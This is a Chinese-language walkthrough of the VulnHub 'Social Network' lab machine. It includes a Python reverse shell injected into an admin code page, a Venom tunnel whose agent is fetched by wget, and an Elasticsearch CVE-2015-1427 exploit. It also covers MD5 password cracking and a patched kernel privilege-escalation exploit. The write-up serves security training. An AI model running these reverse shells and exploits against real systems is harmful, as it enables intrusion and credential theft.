一起來打靶 01


0x00 靶機介紹

靶機地址:BoredHackerBlog: Social Network ~ VulnHub

靶機難度:中

推薦虛擬機:VirtualBox

0x01 內容簡介

  • 涉及的攻擊方法
    • 主機發現
    • 端口掃描
    • 服務發現
    • 路徑爬取
    • 代碼注入
    • Shell腳本
    • 內網信息收集
    • 內網穿透
    • 漏洞利用
    • 密碼破解
    • 本地提權
    • 攻擊代碼修改

0x02 環境搭建

下載好靶機.ova文件后導入到VirtualBox中即可

確保靶機和kali在同一網段中

kali IP地址:10.0.2.5

0x03 主機發現

因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術

執行命令:sudo arp-scan -l

image-20220314202611823

共掃描到4個IP地址,其中前三個IP是VirtualBox正常運行所需要使用到的IP,所以只有最后一個IP地址:10.0.2.15是靶機的IP

拿到靶機的IP:10.0.2.15 后接下來進行全端口的掃描,探測靶機上都開啟了哪些端口,哪些服務

執行命令:sudo nmap -p- 10.0.2.15

image-20220314203101933

從掃描的結果中得出靶機開啟了兩個端口,接下來對這兩個端口進行服務版本的探測

執行命令:sudo nmap -p22,5000 -sV 10.0.2.15

image-20220314204142658

從掃描結果中可以得出

  • 22端口運行着OpenSSH服務,並且靶機應該是Ubuntu操作系統

  • 5000端口運行着httpd服務,通過Werkzeug關鍵詞搜索得知這是基於python進行web開發的底層框架;這也就意味着服務器端運行的編程語言環境是python2.7,那么后期發現有代碼執行漏洞的話就可以使用python腳本來反彈shell,從而獲取控制權等

    image-20220314204722871

既然運行的是web應用,那就打開瀏覽器訪問網站,看看有沒有默認頁面,如果有默認頁面再看看有沒有注入的點

訪問:http://10.0.2.15:5000

image-20220315180402427

可以看出來這是一個社交網站,通過簡單的安全性探測發現默認頁面並沒有明顯的已知漏洞,也並不存在跨站腳本漏洞,沒有什么收獲

在對web應用滲透時,必做的一個常規操作是:web應用程序路徑發現,看看那些隱藏的頁面隱藏的路徑中是否包含函數的提交點或者其他漏洞

web應用路徑的爬取工具有很多,比如windows平台的御劍,本次在kali上使用dirsearch這個工具

通過爬取web應用路徑,很有可能會發現后台地址,那么就可以對后台發起攻擊,進而極大概率上可以幫助我們找到目標系統的突破點

執行命令:dirsearch -u http://10.0.2.15:5000/

image-20220314215957810

掃描完成,發現了一個路徑,用瀏覽器訪問一下:http://10.0.2.15:5000/admin

image-20220314220334459

訪問發現這是一個代碼執行的頁面,結合上面收集到的信息得知服務端運行的是python2.7編程語言環境,所以可以嘗試向頁面表單中注入python代碼來反彈shell

0x04 python反彈shell

使用搜索引擎搜索python反彈shell可以找到很多內容,比方說:python反彈shell_反彈Shell小結_何普的博客-CSDN博客

image-20220314221129890

# 紅框部分大概意思是:創建一個可交互的sh和一個到192.168.118.128的TCP連接,然后將sh的輸入輸出錯誤都重定向到在192.168.118.128占用5555端口的進程上

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  # 創建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555));  # 要連接的ip地址和端口
os.dup2(s.fileno(),0);  # os.dup2()方法用於將一個文件描述符 fd 復制到另一個 fd2
os.dup2(s.fileno(),1);  # fileno()方法返回一個整型的文件描述符(file descriptor FD 整型),可用於底層操作系統的 I/O 操作
os.dup2(s.fileno(),2);  # 使用fileno()返回一個整型的文件描述符,並使用os.dup2(s.fileno(),0)把這個整型的文件描述符復制到后面的0三個dup2函數先后將socket重定向到標准輸入,標准輸入,標准錯誤輸出。
p=subprocess.call(["/bin/sh","-i"]);  # subprocess.call()執行由參數提供的命令,返回命令的狀態,0或者非0
                                      # 可以是["/bin/bash","-i"]或["/bin/sh","-i"]

參考如下

查看kali自己的IP

執行命令:ip a

image-20220314223836000

使用nc啟動偵聽

執行命令:nc -nvlp 4444

image-20220319011615077

然后在web頁面上執行python反彈shell代碼,這里只有["/bin/sh","-i"]可以成功運行,注意將ip改為kali的ip地址,端口改成nc偵聽的端口

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image-20220314224345884

點擊頁面按鈕Test code之后,nc監聽這邊有了反應,獲得了一個反彈的shell

image-20220314224613973

簡單的執行一下命令,查看當前路徑和賬戶權限

image-20220314224827748

很幸運,拿到了root權限,但真的如此嗎?

0x05 判斷是否在docker容器里

Dockerfile 是一個用來構建鏡像的文本文件,文本內容包含了一條條構建鏡像所需的指令和說明。

Dockerfile 通常會作為在生產環境下標准化部署Docker容器,部署開發環境時所使用的模板文件,這個模板文件中會包含一系列的怎么樣去引入docker映像、怎么樣對doker映像進行配置、安裝哪些軟件包、修改哪些服務項等等;作為研發人員就可以將模板文件分發給應用的部署人員,從而可以在生產環境的服務器上統一的、標准化的、保持一致性的大批量部署docker容器。總而言之,Dockerfile就是標准化部署的模板文件。

使用ls命令時看到了Dockerfile文件,是否意味着取得的root權限的操作系統其實是一個docker容器中的系統

查看一下Dockerfile文件內容

執行命令:cat Dockerfile

image-20220314230321436

#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine  				# FROM:從docker hub上或者本地存儲庫中拉取鏡像作為基本鏡像,基礎鏡像選用alpine比較合適,這個鏡像不到5M
COPY . /app  							# COPY:拷貝文件或目錄到容器中,跟ADD類似,但不具備自動下載或解壓的功能
WORKDIR /app							# WORKDIR:切換當前執行的工作目錄
RUN pip install -r requirements.txt     # RUN:將在當前映像之上的新層中執行任何命令並提交結果。生成的提交映像將用於下一步Dockerfile
CMD ["python", "/app/main.py"]			# CMD:容器啟動的命令,如果有多個則以最后一個為准,也可以為ENTRYPOINT提供參數

參考:Dockerfile的入坑路_Peithon的博客-CSDN博客_dockerfile run

可以看到這個Dockerfile文件內容是標准的dockerfile模板文件,查看完這個文件之后就更加深這是一個docker系統的懷疑

實錘這就是一個docker容器的兩中方法(命令)

  1. 方法一(90%):查看系統根目錄下是否存在.dockerenv文件,執行命令:ls /.dockerenv

    image-20220314231715308

  2. 方法二(100%):查看/proc/1/cgroup文件,執行命令:cat /proc/1/cgroup

    如果出現類似下面的內容的話就可以100%確定這是一個docker容器系統,而且docker容器的哈希值就放在后面

    原因:Linux系統啟動后,1這個pid就代表這個計算機系統的初始化id,當初始化pid的cgroup文件中明確包含docker映像指示信息就100%證明當前系統是一個docker容器

    image-20220314232157850

這就實錘了拿到的root賬號權限是在docker容器中

0x06 內網主機發現

查看當前docker容器系統的ip地址

執行命令:ip a

image-20220314232935701

得到ip地址:172.17.0.2,不同於之前發起攻擊的靶機ip:10.0.2.15,進一步證實了這是一個docker容器系統,因為它們的ip都不一樣

現在就可以將docker容器所處的網段視為內網網段,下一步的常見思路就是,在內網中進行主機發現,看看內網里還有沒有其他的主機?如果有其他的主機是否存在已知的漏洞呢?是否可以利用這些漏洞攻擊更多的內網系統呢?

在內網進行主機發現,靶機上沒有kali中的眾多工具,使用ping命令較為合適,子網掩碼是16位,理論上有65535個IP地址,手工一個一個ping不太現實,需要借助自動化的工具,比較簡單的方法就是寫一個腳本使用循環對指定的內網內網段ping

# 掃描172.17.1.1 - 172.17.254.254並提取有回包的ip
for i in $(seq 1 254);do for j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done

由於這里打的靶機就不掃那么多了

執行命令:for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done

image-20220315154619576

一番掃描之后除去172.17.0.2是本機外,共掃出2個存活的IP地址,接下來就需要對172.17.0.1172.17.0.3進行端口掃描,看看它們上面開啟了什么服務、有沒有漏洞、是否可以滲透進去

0x07 內網穿透

由於172.17處於內網網段,kali無法直接訪問到,要解決這個問題需要借助內網穿透技術,將kali到172.17內網之間的網絡路由打通

利用venom這個工具可以很方便的在kali與內網之間建立一條隧道,然后基於這個隧道生成一個代理,使kali中的眾多工具可以通過這個代理訪問到目標靶機的內網

venom工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers

首先下載venom壓縮包到kali中,並解壓

image-20220315160206228

查看目標系統的版本

執行命令:uname -a

image-20220315161152732

得到目標系統是Linux 64位,選擇venomagent_linux_x64這個程序

image-20220315161503421

agent_linux_x64這個客戶端傳輸到目標系統上,在本機上運行對應的服務端admin_linux_x64

kali本機運行admin_linux_x64,偵聽9999端口

執行命令:./admin_linux_x64 -lport 9999

image-20220315161925710

目標系統需要先獲取venom客戶端,然后運行客戶端連接到服務端,從而建立一條隧道

在kali上啟動http服務,然后在目標系統上通過wget命令來獲取agent_linux_x64客戶端程序

在kali上啟動http服務,執行命令:python3 -m http.server 80

image-20220315162432324

目標系統使用wget獲取客戶端程序

執行命令:wget http://10.0.2.5/agent_linux_x64

image-20220315162702225

賦予可執行權限

執行命令:chmod +x agent_linux_x64

image-20220315163113752

啟動客戶端程序,連接服務端,建立連接

執行命令:./agent_linux_x64 -rhost 10.0.2.5 -rport 9999

image-20220315163337986

image-20220315163544426

服務端啟動socks偵聽

image-20220315163934520

這樣就在kali上啟動了偵聽在1080端口的socks5代理

為了讓kali上的所有工具都可以掛代理訪問內網,還需要使用proxychains這個工具

修改proxychains的配置文件,配置代理類型、IP、端口

執行命令:sudo vim /etc/proxychains4.conf

image-20220315164809114

0x08 內網端口掃描

使用namp對內網IP:172.17.0.1172.17.0.3進行端口掃描

執行命令:proxychains nmap -Pn -sT 172.17.0.1

image-20220315165341382

掃描結果顯示開放了,22和5000兩個端口,再對22和5000的服務版本掃描一下

執行命令:proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

image-20220315165645359

這個掃描結果似曾相識,和掃描10.0.2.15這個的結果一摸一樣

通過瀏覽器訪問一下172.17.0.1的5000端口kali

為方便切換代理,可在火狐瀏覽器中安裝FoxyProxy Standard擴展,擴展地址:FoxyProxy Standard 下載

image-20220315170230490

FoxyProxy Standard擴展添加socks5代理

image-20220315170434402

image-20220315170514365

image-20220315170618225

瀏覽器使用代理

image-20220315170928443

訪問內網172.17.0.1:5000

image-20220315182109825

顯示的內容和之前訪問http://10.0.2.15:5000所顯示的內容完全一樣,甚至手動測試的數據也可以看到,說明172.17.0.1就是10.0.2.15這台宿主機,只是172.17.0.1是面向容器內網的IP,所以172.17.0.1就是要攻擊的目標靶機

接下來繼續對172.17.0.3進行端口掃描

執行命令:proxychains nmap -Pn -sT 172.17.0.3

image-20220315184740930

掃描結果顯示只開放了9200端口,再對這個端口上跑的服務掃描一下

執行命令:proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3

image-20220315185014746

從掃描結果中得出9200上跑的是Elasticsearch,版本是1.4.2

0x09 Elasticsearch RCE

Elasticsearch在歷史版本中曾經出現過幾次非常嚴重的漏洞,最嚴重的都是一些RCE遠程代碼執行漏洞

使用searchsploit搜索kali是否有包含Elasticsearch已知漏洞利用代碼

執行命令:searchsploit Elasticsearch

image-20220315190258086

搜索結果中的前兩個是遠程代碼執行漏洞,可以優先把這兩個漏洞利用代碼復制過來,挨個嘗試,看看能否攻入Elasticsearch服務器

首先嘗試36337.py這個漏洞利用代碼,將其復制到當前目錄下

執行命令:cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

image-20220315191230536

可以簡單查看一下這個python腳本,看看如何利用漏洞的

image-20220315191402461

可以看到這個腳本是用python2來編寫的

運行這個腳本,執行代碼:python2 36337.py

image-20220315191610775

通過提示得到后面要加上目標的IP

再次執行命令:proxychains python2 36337.py 172.17.0.3

image-20220315191817793

很快就得到了結果,嘗試輸入id命令,查看獲取到的賬號權限

執行命令:id

image-20220315191954324

發現腳本報錯退出了運行,不得不尋找問題,解決報錯,從提示信息中可以得出這個漏洞的編號是CVE-2015-1427

使用搜索引擎搜索CVE-2015-1427,看看是如何利用的,參考鏈接:CVE-2015-1427(Groovy 沙盒繞過 && 代碼執行漏洞) - 淺笑996 - 博客園 (cnblogs.com)

image-20220315192441131

漏洞的利用步驟是

  1. 插入數據
  2. 利用剛剛插入的數據構造Payload

現在再次來看看kali中復制過來的漏洞利用代碼

執行命令:vim 36337.py

image-20220315192955494

對比參考鏈接中的payload和python腳本中的payload,可以發現大多數內容都是一樣的,唯一不同的是參考鏈接中利用的Payload中的鍵test#是提前插入進Elasticsearch中,而python腳本中的Payload中的鍵lupin並沒有事先插入進Elasticsearch中,那么將lupin插入到Elasticsearch后這個python腳本是否就可以正常運行了呢?值得嘗試一下

使用burpsuite,掛上socks5代理,向Elasticsearch發起post請求,插入數據lupin

首先打開burpsuite

image-20220315193821316

查看burpsuite代理端口

image-20220315194136340

配置burpsuite使用socks代理

image-20220315194856194

配置瀏覽器使用burpsuite代理

image-20220315194343059

image-20220315194451530

使用瀏覽器訪問http://172.17.0.3:9200

image-20220315231208502

burpsuite抓到的請求數據包發送到Repeater模塊

修改HTTP數據包內容為插入lupin格式,點擊發送

image-20220315231550155

創建成功后,重新嘗試執行命令:proxychains python2 36337.py 172.17.0.3

image-20220315231804320

id命令執行成功!又拿到了一個root賬號,但這僅僅是個容器系統的root權限

執行命令:cat /proc/1/cgroup

image-20220315232241024

0x0a 內核漏洞提權

在這個容器系統中進行信息收集,經過一番查找,在根目錄發現了一個文件名為passwords的文件

執行命令:ls /

image-20220315232448038

這里面是否包含比較機密的密碼呢?出於好奇

執行命令:cat /passwords

image-20220315232652508

發現這的確是一個賬號密碼文件,前面是賬號,后面是密碼的hash值

通過網上的md5密文查詢網站中,查詢到了全部密文對應的明文。查詢鏈接:MD5免費在線解密破解_MD5在線加密-SOMD5

賬號 密碼(密文) 密碼(明文)
john 3f8184a7343664553fcb5337a3138814 1337hack
test 861f194e9d6118f3d942a72be3e51749 1234test
admin 670c3bbc209a18dde5446e5e6c1f1d5b 1111pass
root b3d34352fc26117979deabdf1b9b6354 1234pass
jane 5c158b60ed97c723b673529b8a3cf72b 1234jane

拿着這些賬號密碼,可以嘗試登錄開放了22端口的IP地址,首當其沖10.0.2.15

一番嘗試之后,驚喜的發現賬號john竟然可以成功登錄到10.0.2.15,遺憾的是其余的都不行

執行命令:ssh john@10.0.2.15

image-20220315233720888

成功登錄至目標靶機

賬號john目前是唯一可以利用的賬號,看看這個賬號是否可以把自己提升為root,如果可以,本次打靶就大功告成了

執行命令:sudo -s

image-20220315234101765

很不幸並不可以,並沒有sudo的權限

若還想要獲取root權限的話無外乎就是進行本地提權

本地提權的方法有很多,但是最主要的方法是利用內核漏洞來進行提權

查看系統內核,執行命令:uname -a

image-20220315234406002

可以看到目標系統使用的內核版本是3.13,非常古老的版本,對於這么古老的版本一般都會存在內核漏洞

再次利用searchsploit搜索關於linux 3.13漏洞利用代碼

執行命令:searchsploit linux 3.13

image-20220315234913385

搜索到了很多的結果,隨便挑選一個本地提權的漏洞利用代碼

在真實的滲透場景下,真實的項目過程中,這個環節也是可能會發現很多的漏洞利用的版本,我們需要挨個在目標系統上嘗試

比如說使用37292.c這個漏洞利用版本,先拷貝到當前目錄

執行命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image-20220315235353332

查看這個文件的代碼

執行命令:vim 37292.c

image-20220315235806784

通過查看說明部分,發現這是一個C語言源代碼文件,運行之前需要使用gcc先編譯

然而在目標系統上執行命令:gcc

image-20220315235943865

結果顯示目標系統上並沒有安裝gcc,所以需要先在kali上先編譯好,然后再傳輸到目標靶機上運行

在目標靶機上運行任何漏洞利用代碼之前都強烈建議能夠先閱讀一下即將執行的漏洞利用代碼

再次查看源碼,執行命令:vim 37292.c

image-20220316000723238

通過查看源碼發現

  1. 在第139-147行,通過C代碼再次執行了gcc命令,將ofs-lib.c編譯為ofs-lib.so文件,所以即便在kali上事先編譯好了,但是當在目標系統上運行的時候由於目標系統上並沒有安裝gcc還是會報錯;解決的方法有很多,比較簡單直接的方法是修改源碼內容,將編譯部分刪除,然后在kali中尋找有沒有現成的ofs-lib.so文件
  2. 148行,讀取了/tmp/ofs-lib.so文件,所以在目標系統上執行的時候,需要將ofs-lib.so文件放到tmp目錄下才可以成功讀取到這個文件

修改源碼文件,刪除原先的第139-147行,修改后的內容如下

image-20220316001313097

編譯修改后的C源碼

執行命令:gcc -o exp 37292.c

image-20220316001424956

編譯過程報了一些警告無傷大雅,不會影響最終執行結果

查找kali中是否有ofs-lib.so文件

執行命令:locate ofs-lib.so

image-20220316001759350

結果發現還真的有,復制到當前目錄下

執行命令:cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

image-20220316001953858

在kali上啟動HTTP服務,在目標靶機通過wget命令下載這兩個文件

啟動HTTP服務,執行命令:python3 -m http.server 80

image-20220316002140117

目標靶機下載這兩個文件

執行命令:

  • wget http://10.0.2.5/exp

  • wget http://10.0.2.5/ofs-lib.so

image-20220316002341071

為確保成功運行,需要將ofs-lib.so移動到/tmp目錄下,索性直接將兩個文件都移到/tmp目錄下

執行命令:mv * /tmp

image-20220316002739917

賦予exp可執行權限

執行命令:chmod +x exp

image-20220316002936170

執行exp程序,提升權限

執行命令:./exp

image-20220316003123165

可喜可賀,成功提升到了root權限,本次打靶圓滿完成!

0x0b 總結

  • 打靶過程文字概述

    1. 先進行主機發現,然后對已發現的主機進行了端口掃描以及服務的掃描
    2. 掃描結束之后發現在目標靶機上5000端口跑了一個web應用,嘗試使用瀏覽器訪問這個web應用
    3. 在web應用默認頁面下沒有收獲任何的已知漏洞,接下來使用dirsearch命令對web應用路徑進行探測
    4. 發現了一個/admin后台的路徑,在這個后台頁面存在遠程代碼執行漏洞,利用這個漏洞獲取到了一個目標系統的反彈shell
    5. 但是獲取到這個shell之后,發現自己被困在一個docker容器的系統當中,基於這個容器系統對於內網的IP地址段進行主機發現
    6. 在內網主機發現的過程中,識別出了兩個IP地址:172.17.0.1172.17.0.3
    7. 隨即建立了內網穿透隧道,開啟了socks代理,對內網已探測到存活的主機進行全端口以及服務的掃描
    8. 在掃描的過程中發現在172.17.0.3開啟了9200端口,對應跑的應用程序是Elasticsearch
    9. 嘗試對Elasticsearch進行已有漏洞的利用攻擊,成功的拿下172.17.0.3這台主機
    10. 在這台主機中繼續進行信息收集,發現了在根目錄下有一個名為passwords文件
    11. 在文件內容中收獲到了john賬號以及密碼的hash值,通過在線的密碼破解工具,查詢到了對應的明文密碼
    12. 拿到賬號密碼之后嘗試在內網所有開啟了22端口的主機上進行登錄,最終結果是成功登錄到了靶機系統上
    13. 但是登錄成功后又遇到了一個難題,賬號john只是一個普通賬號,沒有sudo權限
    14. 不得不進行提權操作,通過uname -a發現目標系統內核是很古老的版本,挑選了一個針對內核漏洞進行利用的代碼
    15. 但是這個漏洞利用代碼無法在目標系統上進行gcc的編譯,所以在kali上修改了源代碼,刪除了其中調用gcc編譯的部分代碼之后進行編譯,並在kali找到了所依賴的二進制庫文件
    16. 將這兩個文件一起傳輸到目標系統上,通過在目標系統上執行編譯好的程序,最終拿到了root權限
  • 打靶過程對應的視頻鏈接:點擊查看


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM